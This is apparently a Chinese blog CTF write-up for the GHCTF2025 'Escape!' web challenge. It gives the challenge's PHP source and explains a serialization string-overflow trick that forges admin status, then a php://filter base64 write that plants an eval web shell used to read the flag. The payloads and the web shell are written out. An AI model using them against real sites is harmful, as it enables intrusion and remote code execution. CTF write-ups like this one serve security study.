GHCTF2025 Escape! 题解

335次阅读
没有评论

共计3106个字符,预计需要花费8分钟才能阅读完成。

题目

GHCTF2025 Escape!题解

Escape!
小李写了个登陆网站,他不放心便加了个 waf, 殊不知这个 waf 不仅没让网站更安全反而给了黑客机会

同时给了源码:

  1. waf.php
<?php

function waf($c)
{$lists=["flag","'","\\","sleep","and","||","&&","select","union"];
    foreach($lists as $list){$c=str_replace($list,"error",$c);
    }
    #echo $c;
    return $c;
}
  1. login.php
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "waf.php";
include "class.php";
include "db.php";
$username=$_POST["username"];
$password=$_POST["password"];

$SQL=new Database();
function login($db,$username,$password)
{$data=$db->query("SELECT * FROM users WHERE username = ?",[$username]);

    if(empty($data)){die("<script>alert(' 用户不存在 ')</script><script>window.location.href = 'index.html'</script>");
    }
    if($data[0]['password']!==md5($password)){die("<script>alert(' 密码错误 ')</script><script>window.location.href = 'index.html'</script>");
    }
    if($data[0]['username']==='admin') {$user = new User($username, true);
    }
    else{$user = new User($username, false);
    }
    return $user;
}

function setSignedCookie($serializedData, $cookieName = 'user_token', $secretKey = 'fake_secretKey') {$signature = hash_hmac('sha256', $serializedData, $secretKey);

    $token = base64_encode($serializedData . '|' . $signature);

    setcookie($cookieName, $token, time() + 3600, "/");  // 设置有效期为 1 小时
}

$User=login($SQL,$username,$password);

$User_ser=waf(serialize($User));

setSignedCookie($User_ser);

header("Location: dashboard.php");

?>
  1. dashboard.php
<?php
ini_set('display_errors', 0);
error_reporting(0);
include "class.php";
function checkSignedCookie($cookieName = 'user_token', $secretKey = 'fake_secretkey') {
    // 获取 Cookie 内容
    if (isset($_COOKIE[$cookieName])) {$token = $_COOKIE[$cookieName];

        // 解码并分割数据和签名
        $decodedToken = base64_decode($token);
        list($serializedData, $providedSignature) = explode('|', $decodedToken);

        // 重新计算签名
        $calculatedSignature = hash_hmac('sha256', $serializedData, $secretKey);

        // 比较签名是否一致
        if ($calculatedSignature === $providedSignature) {
            // 签名验证通过,返回序列化的数据
            return $serializedData;  // 反序列化数据
        } else {
            // 签名验证失败
            return false;
        }
    }
    return false;  // 如果没有 Cookie
}

// 示例:验证并读取 Cookie
$userData = checkSignedCookie();
if ($userData) {
    #echo $userData;
    $user=unserialize($userData);
    #var_dump($user);
    if($user->isadmin){$tmp=file_get_contents("tmp/admin.html");

        echo $tmp;

        if($_POST['txt']) {
            $content = '<?php exit; ?>';
        $content .= $_POST['txt'];
        file_put_contents($_POST['filename'], $content);
        }
    }
    else{$tmp=file_get_contents("tmp/admin.html");
        echo $tmp;
        if($_POST['txt']||$_POST['filename']){echo "<h1> 权限不足,写入失败 <h1>";}
    }
} else {echo 'token 验证失败 ';}

思路

一打开页面跳转到 login.php 要求登录,输入的用户名和密码没有过滤,看到 38 行

$User=login($SQL,$username,$password);

$User_ser=waf(serialize($User));

setSignedCookie($User_ser);

这里是先进行 序列化 WAF 的。再看到waf.php,会将某些关键字替换成error。比如说flag 替换成error,而序列化后读取的字符串长度又不变,那么这里就会出现字符串溢出的漏洞。

构造用户名为 flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:7:"isadmin";b:1;}。由于字符串溢出,那么反序列化后的结果isadmin 就为 1 了,成功进入dashboard.php

dashboard.php里存在 file_put_contents 这种危险函数,容易执行任何命令。但是在 40 行

if($_POST['txt']) {
            $content = '<?php exit; ?>';
        $content .= $_POST['txt'];
        file_put_contents($_POST['filename'], $content);
        }

这里输入内容前面会加上 <?php exit; ?>,那么我们输入的代码岂不是还没执行就exit 了?可以用 base64 编码来绕过。

输入文件名为php://filter/write=convert.base64-decode/resource=shell.php,文件内容为<?php eval($_POST['a']);?>,但是我们要输入编码后的aPD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=,这样成功绕过。

最后直接 POST 内容 cat /flag 即可。

正文完
 0
评论(没有评论)
验证码
zh_CN简体中文